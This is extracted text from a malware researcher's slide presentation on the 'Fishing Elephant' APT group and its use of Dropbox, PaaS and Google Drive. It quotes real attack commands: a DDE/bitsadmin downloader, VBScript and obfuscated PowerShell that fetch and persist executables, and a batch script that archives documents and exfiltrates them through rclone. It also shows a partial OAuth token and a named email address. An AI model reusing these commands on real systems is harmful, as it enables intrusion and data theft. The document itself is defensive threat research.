Fishing Elephant,
- r how to build cloud based APT
Fishing Elephant, or how to build cloud based APT $ whois mak - - PowerPoint PPT Presentation
Fishing Elephant, or how to build cloud based APT $ whois mak Independent Malware Researcher / Founder of MalwareLab.pl Dragon Sector CTF RE/Exploit dev Automatization / Formal methods @maciekkotowicz
Payload hosted
services Exfiltration to cloud-storage providers
Payload hosted
services Intermediate stages run on PaaS platforms Exfiltration to cloud-storage providers C2 hosted on PaaS or free hosting platforms
Open source malware Payload hosted
services Intermediate stages run on PaaS platforms Exfiltration to cloud-storage providers Open source exploits/vulnerabilities C2 hosted on PaaS or free hosting platforms
disk,asuswebstorage)
SET e ""
REF c REF d REF e DDE C:\Programs\Microsoft\Office\MSWord .exe\..\..\..\..\Windows \System32\cmd.exe SET c "" "cmd /c bitsadmin /transfer data /priority high https://www.dropbox.com/s/pgm729t85j5h1uq/o.txt?dl=1 C:\Users\Public\o.hta & start C:\Users\Public\o.hta" SET d ""
<script language="VBScript"> window.moveTo -3000, -3000 Dim MaCommande,Ws,Ret Set Ws = CreateObject("wscript.Shell") Ws.RegWrite "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load ", "C:\Users\Public\hplogs.exe ", "REG_SZ" MaCommande = "cmd /c bitsadmin /transfer data /priority high http://185.163.111.90/D3e71ffad76f3d44d6ae482205f3a 2c94/hplogs.exe C:\Users\Public\hplogs.exe " Ret = Ws.run(MaCommande,0,True) window.close()
events
○ If check failed - redirect to https://www.dropbox[.]com/s/apvco1h77036wgb/os.txt?dl=1 ○ Else redirect to batch code also hosted on dropbox
cmd /b START /MIN /c powershell -ep -nop -w hidden (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T").DownloadFile('ht'+'tps://www.dropbox.com/s/tjr1jx12qnlz425/b-os.txt?dl=1','C:\Windows\Tasks\certs.txt') certutil -decode C:\Windows\Tasks\certs.txt C:\Windows\Tasks\dnplqs.exe ICACLS "C:\Windows\Tasks\dnplqs.exe" /grant "%computername%":F REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /d "C:\Windows\Tasks\dnplqs.exe"
Open Source Open Source Leaked/Cracked
powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/[redacted]/rclone.conf?dl=1','rclone.conf'), (New-Object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/fwo3ec2gfgddkr1/system.exe?dl=1','system. exe') , (New-Object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/3gkzclfdrgzslkp/tmp.exe?dl=1','tmp.exe');
○ rclone.exe ○ 9b363e52d7c1a96a59964e5ebad6ed8
○ 7z.exe ○ 5e0cfb5f9d4cc24c92c7ebb184d6c9b1
Rclone is a command line program to manage files on cloud storage.
[update] type = drive client_id = client_secret = service_account_file = token = {"access_token":"ya29.GlscBYp[redacted]qAVx0sKO4RE5wUCtvx3FLG_nNJ9GQa4liLz7Kxr sXpYzmbRfVO","token_type":"Bearer","refresh_token":"1/r[redacted]Ve4ZdWOqem_eA2ho", "expiry":"2017-12-08T15:08:21.9850685+05:30"} team_drive =
for %%G in (.vcf,.pst,.zip,.rar,.jpg,.jpeg,.doc,.docx,.docm,.xls,.xlk,.xlsx,.slk,.pdf,.ppt,.pptx,.ppsx,.rtf,.xps,.csv,.inp,.rb) do forfiles /p C:\Users\PATOMD~1 /s /m *%%G -d 13-05-2020 /c "cmd /c C:\Users\PATOMD~1\AppData\Roaming\tmp.exe a -tzip C:\Users\Public\Window\%computername%_C_%date:/=.% %time::=.%.zip @path" for %%G in (.vcf,.pst,.zip,.rar,.jpg,.jpeg,.doc,.docx,.docm,.xls,.xlk,.xlsx,.slk,.pdf,.ppt,.pptx,.ppsx,.rtf,.xps,.csv,.inp,.rb) do forfiles /p G: /s /m *%%G -d 01-01-2020 /c "cmd /c C:\Users\PATOMD~1\AppData\Roaming\tmp.exe a -tzip C:\Users\Public\Window\%computername%_G_%date:/=.% %time::=.%.zip @path" cd %appdata% system move --delete-after C:\Users\Public\Window\ update:BD del /q/f/s %TEMP%\*.* del /q/s/f C:\Windows\Tasks\*.txt
exception such as heroku)
... { "kind": "drive#permission", "etag": "\"1Jn1MfFS5e4oWHHjbcjtFXlj934\"", "id": "10242864118326064187", "selfLink": "https://www.googleapis.com/drive/v2beta/files/1MRlT8uoUaVI TWlC_5qsWfu98vuiEq6pC/permissions/10242864118326064 187", "userId": "105520765509160710619", "name": "Bushra Fatima", "emailAddress": "fatima.bushra1990@gmail.com", "domain": "gmail.com", "role": "owner", "type": "user", } ...
into your stuff than typical hosters
○ Lack of in-house developed tools ○ However uses interesting methods to glue attacks together
Pros
Cons